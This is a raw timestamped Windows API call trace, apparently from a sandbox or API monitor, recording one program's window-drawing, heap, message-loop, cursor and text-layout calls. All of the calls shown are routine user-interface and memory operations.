[0103.443] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cee7c | out: lprcDst=0x499f50) returned 1
[0103.443] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.443] UnionRect (in: lprcDst=0x1ced90, lprcSrc1=0x1ced90, lprcSrc2=0x1cedb0 | out: lprcDst=0x1ced90) returned 1
[0103.443] IntersectRect (in: lprcDst=0x1cee5c, lprcSrc1=0x1cee5c, lprcSrc2=0x1ced9c | out: lprcDst=0x1cee5c) returned 1
[0103.443] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cee7c | out: lprcDst=0x499f50) returned 1
[0103.443] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cee9c | out: lprcDst=0x499f50) returned 1
[0103.443] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.443] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.443] IntersectRect (in: lprcDst=0x1ceb9c, lprcSrc1=0x1ceb9c, lprcSrc2=0x1ceadc | out: lprcDst=0x1ceb9c) returned 1
[0103.443] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cebbc | out: lprcDst=0x499f50) returned 1
[0103.443] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cebdc | out: lprcDst=0x499f50) returned 1
[0103.443] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.443] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.443] UnionRect (in: lprcDst=0x1ceae0, lprcSrc1=0x1ceae0, lprcSrc2=0x4b2a48 | out: lprcDst=0x1ceae0) returned 1
[0103.443] UnionRect (in: lprcDst=0x1cead0, lprcSrc1=0x1cead0, lprcSrc2=0x1ceaf0 | out: lprcDst=0x1cead0) returned 1
[0103.443] IntersectRect (in: lprcDst=0x1ceb9c, lprcSrc1=0x1ceb9c, lprcSrc2=0x1ceadc | out: lprcDst=0x1ceb9c) returned 1
[0103.443] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cebbc | out: lprcDst=0x499f50) returned 1
[0103.443] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cebdc | out: lprcDst=0x499f50) returned 1
[0103.443] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.443] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.443] UnionRect (in: lprcDst=0x1ceae0, lprcSrc1=0x1ceae0, lprcSrc2=0x4b2a80 | out: lprcDst=0x1ceae0) returned 1
[0103.443] UnionRect (in: lprcDst=0x1cead0, lprcSrc1=0x1cead0, lprcSrc2=0x1ceaf0 | out: lprcDst=0x1cead0) returned 1
[0103.443] IntersectRect (in: lprcDst=0x1ceb9c, lprcSrc1=0x1ceb9c, lprcSrc2=0x1ceadc | out: lprcDst=0x1ceb9c) returned 1
[0103.443] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cebbc | out: lprcDst=0x499f50) returned 1
[0103.443] IntersectRect (in: lprcDst=0x499f50, lprcSrc1=0x499f50, lprcSrc2=0x1cebdc | out: lprcDst=0x499f50) returned 1
[0103.443] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.443] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.443] UnionRect (in: lprcDst=0x1ceae0, lprcSrc1=0x1ceae0, lprcSrc2=0x4b2c78 | out: lprcDst=0x1ceae0) returned 1
[0103.443] UnionRect (in: lprcDst=0x1cead0, lprcSrc1=0x1cead0, lprcSrc2=0x1ceaf0 | out: lprcDst=0x1cead0) returned 1
[0103.444] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.444] UnionRect (in: lprcDst=0x1ceda0, lprcSrc1=0x1ceda0, lprcSrc2=0x49d834 | out: lprcDst=0x1ceda0) returned 1
[0103.444] UnionRect (in: lprcDst=0x1ceda0, lprcSrc1=0x1ceda0, lprcSrc2=0x4b28f8 | out: lprcDst=0x1ceda0) returned 1
[0103.444] UnionRect (in: lprcDst=0x1ceda0, lprcSrc1=0x1ceda0, lprcSrc2=0x497cd8 | out: lprcDst=0x1ceda0) returned 1
[0103.444] UnionRect (in: lprcDst=0x1ceda0, lprcSrc1=0x1ceda0, lprcSrc2=0x497d30 | out: lprcDst=0x1ceda0) returned 1
[0103.444] UnionRect (in: lprcDst=0x1ceda0, lprcSrc1=0x1ceda0, lprcSrc2=0x497f40 | out: lprcDst=0x1ceda0) returned 1
[0103.444] UnionRect (in: lprcDst=0x1ced90, lprcSrc1=0x1ced90, lprcSrc2=0x1cedb0 | out: lprcDst=0x1ced90) returned 1
[0103.444] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.444] IntersectRect (in: lprcDst=0x1cf060, lprcSrc1=0x1cf060, lprcSrc2=0x499f40 | out: lprcDst=0x1cf060) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf368, lprcSrc1=0x1cf368, lprcSrc2=0x1cf314 | out: lprcDst=0x1cf368) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf2c4, lprcSrc1=0x1cf2c4, lprcSrc2=0x1cf274 | out: lprcDst=0x1cf2c4) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf2c4, lprcSrc1=0x1cf2c4, lprcSrc2=0x1cf274 | out: lprcDst=0x1cf2c4) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf2c4, lprcSrc1=0x1cf2c4, lprcSrc2=0x1cf274 | out: lprcDst=0x1cf2c4) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf314, lprcSrc1=0x1cf314, lprcSrc2=0x1cf2c4 | out: lprcDst=0x1cf314) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf368, lprcSrc1=0x1cf368, lprcSrc2=0x1cf314 | out: lprcDst=0x1cf368) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf368, lprcSrc1=0x1cf368, lprcSrc2=0x1cf314 | out: lprcDst=0x1cf368) returned 1
[0103.444] IntersectRect (in: lprcDst=0x1cf300, lprcSrc1=0x1cf300, lprcSrc2=0x1cf298 | out: lprcDst=0x1cf300) returned 1
[0103.444] IntersectRect (in: lprcDst=0x1cf210, lprcSrc1=0x1cf210, lprcSrc2=0x1cf298 | out: lprcDst=0x1cf210) returned 1
[0103.444] IntersectRect (in: lprcDst=0x1cf2a8, lprcSrc1=0x1cf2a8, lprcSrc2=0x1cf210 | out: lprcDst=0x1cf2a8) returned 1
[0103.444] IntersectRect (in: lprcDst=0x1cf300, lprcSrc1=0x1cf300, lprcSrc2=0x1cf298 | out: lprcDst=0x1cf300) returned 1
[0103.444] IntersectRect (in: lprcDst=0x1cf300, lprcSrc1=0x1cf300, lprcSrc2=0x1cf298 | out: lprcDst=0x1cf300) returned 1
[0103.444] IntersectRect (in: lprcDst=0x1cf210, lprcSrc1=0x1cf210, lprcSrc2=0x1cf298 | out: lprcDst=0x1cf210) returned 1
[0103.444] IntersectRect (in: lprcDst=0x1cf2a8, lprcSrc1=0x1cf2a8, lprcSrc2=0x1cf210 | out: lprcDst=0x1cf2a8) returned 1
[0103.444] IntersectRect (in: lprcDst=0x1cf300, lprcSrc1=0x1cf300, lprcSrc2=0x1cf298 | out: lprcDst=0x1cf300) returned 1
[0103.444] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.444] UnionRect (in: lprcDst=0x1cf6a8, lprcSrc1=0x1cf6a8, lprcSrc2=0x1cf654 | out: lprcDst=0x1cf6a8) returned 1
[0103.444] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x28) returned 0x4b6c78
[0103.444] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0103.445] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x54) returned 0x4a0f08
[0103.445] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4a0f08 | out: hHeap=0x450000) returned 1
[0103.445] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x6c) returned 0x4953a0
[0103.445] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4953a0 | out: hHeap=0x450000) returned 1
[0103.445] RedrawWindow (hWnd=0x1013a, lprcUpdate=0x1cf728, hrgnUpdate=0x0, flags=0x21) returned 1
[0103.445] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf658 | out: lpPoint=0x1cf658) returned 1
[0103.445] GetCurrentThreadId () returned 0x4e0
[0103.445] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2cd0 | out: hHeap=0x450000) returned 1
[0103.445] GetCurrentThreadId () returned 0x4e0
[0103.445] GetCurrentThreadId () returned 0x4e0
[0103.445] GetFocus () returned 0x1013a
[0103.446] GetCurrentThreadId () returned 0x4e0
[0103.446] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf618 | out: lpPoint=0x1cf618) returned 1
[0103.446] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2cd0
[0103.446] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5f8 | out: lpPoint=0x1cf5f8) returned 1
[0103.446] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2cd0
[0103.446] GetCurrentThreadId () returned 0x4e0
[0103.446] IsWinEventHookInstalled (event=0x8005) returned 0
[0103.446] GetCurrentThreadId () returned 0x4e0
[0103.446] GetCurrentThreadId () returned 0x4e0
[0103.446] GetCurrentThreadId () returned 0x4e0
[0103.446] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.446] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x90) returned 0x4c7d10
[0103.447] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf588 | out: lpPoint=0x1cf588) returned 1
[0103.447] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2cd0
[0103.447] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf570 | out: lpPoint=0x1cf570) returned 1
[0103.447] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2cd0
[0103.447] GetCurrentThreadId () returned 0x4e0
[0103.448] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.448] NtdllDefWindowProc_W () returned 0x0
[0103.448] NtdllDefWindowProc_W () returned 0x1013b
[0103.448] NtdllDefWindowProc_W () returned 0x1013b
[0103.448] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.448] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.448] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.448] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf6d8 | out: lpPoint=0x1cf6d8) returned 1
[0103.448] GetMessageTime () returned 28485
[0103.448] GetMessagePos () returned 0x15f0363
[0103.448] GetCapture () returned 0x0
[0103.449] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0103.449] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.449] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0103.449] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0103.449] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.449] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6948
[0103.449] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0103.449] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.449] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6978
[0103.449] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.449] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.450] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.452] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0103.452] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.452] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0103.452] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0103.452] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0103.452] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0103.454] PostMessageW (hWnd=0x10136, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1
[0103.454] LsSetDoc () returned 0x0
[0103.454] LsCreateLine () returned 0x0
[0103.454] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.459] LsQueryLinePointPcp () returned 0x0
[0103.459] LsDestroyLine () returned 0x0
[0103.459] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.461] SetTimer (hWnd=0x10136, nIDEvent=0x2000, uElapse=0x12c, lpTimerFunc=0x0) returned 0x2000
[0103.461] PtInRect (lprc=0x1cf2d4, pt=0x13786) returned 1
[0103.462] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0103.463] GetCursor () returned 0x10007
[0103.463] ShowCursor (bShow=0) returned -1
[0103.463] SetCursor (hCursor=0x10005) returned 0x10007
[0103.463] ShowCursor (bShow=1) returned 0
[0103.464] GetCurrentThreadId () returned 0x4e0
[0103.464] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.464] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.464] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.464] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.464] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf6d8 | out: lpPoint=0x1cf6d8) returned 1
[0103.464] GetMessageTime () returned 28501
[0103.464] GetMessagePos () returned 0x15f0363
[0103.464] GetCapture () returned 0x0
[0103.464] GetCurrentThreadId () returned 0x4e0
[0103.464] GetCurrentThreadId () returned 0x4e0
[0103.464] GetCurrentThreadId () returned 0x4e0
[0103.464] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0103.464] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0103.464] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0103.464] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.464] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0103.464] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0103.464] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0103.464] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0103.464] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0103.465] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.465] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6948
[0103.465] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce594 | out: lprcDst=0x1cf168) returned 1
[0103.465] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.465] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6978
[0103.465] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce5b4 | out: lprcDst=0x1cf168) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0103.465] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0103.466] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.466] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6ca8
[0103.466] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0103.466] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0103.466] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0103.466] LsSetDoc () returned 0x0
[0103.466] LsCreateLine () returned 0x0
[0103.466] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.468] LsQueryLinePointPcp () returned 0x0
[0103.468] LsDestroyLine () returned 0x0
[0103.468] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.469] PtInRect (lprc=0x1cf2d4, pt=0x13786) returned 1
[0103.469] LoadCursorA (hInstance=0x0, lpCursorName=0x7f01) returned 0x10005
[0103.469] GetCursor () returned 0x10005
[0103.469] GetCurrentThreadId () returned 0x4e0
[0103.469] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0103.469] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0103.469] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0103.469] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0103.469] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf6d8 | out: lpPoint=0x1cf6d8) returned 1
[0103.469] GetMessageTime () returned 28797
[0103.469] GetMessagePos () returned 0x15f0363
[0103.469] GetCapture () returned 0x0
[0103.470] GetCurrentThreadId () returned 0x4e0
[0103.470] GetCurrentThreadId () returned 0x4e0
[0103.470] GetCurrentThreadId () returned 0x4e0
[0103.470] IntersectRect (in: lprcDst=0x1cf0c8, lprcSrc1=0x1cf0c8, lprcSrc2=0x1cf158 | out: lprcDst=0x1cf0c8) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1cee84, lprcSrc1=0x1cee84, lprcSrc2=0x1cee54 | out: lprcDst=0x1cee84) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee74 | out: lprcDst=0x1cf168) returned 1
[0103.470] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.470] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6c78
[0103.470] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cee94 | out: lprcDst=0x1cf168) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1cec58, lprcSrc1=0x1cec58, lprcSrc2=0x1cf158 | out: lprcDst=0x1cec58) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1ce890, lprcSrc1=0x1ce890, lprcSrc2=0x1ce860 | out: lprcDst=0x1ce890) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1cf1f0, lprcSrc1=0x1cf1f0, lprcSrc2=0x1ce880 | out: lprcDst=0x1cf1f0) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1cea14, lprcSrc1=0x1cea14, lprcSrc2=0x1ce9e4 | out: lprcDst=0x1cea14) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea04 | out: lprcDst=0x1cf168) returned 1
[0103.470] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.470] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6948
[0103.470] IntersectRect (in: lprcDst=0x1ce850, lprcSrc1=0x1ce850, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce850) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1cea24 | out: lprcDst=0x1cf168) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1ce7e8, lprcSrc1=0x1ce7e8, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce7e8) returned 1
[0103.470] IntersectRect (in: lprcDst=0x1ce574, lprcSrc1=0x1ce574, lprcSrc2=0x1ce42c | out: lprcDst=0x1ce574) returned 1
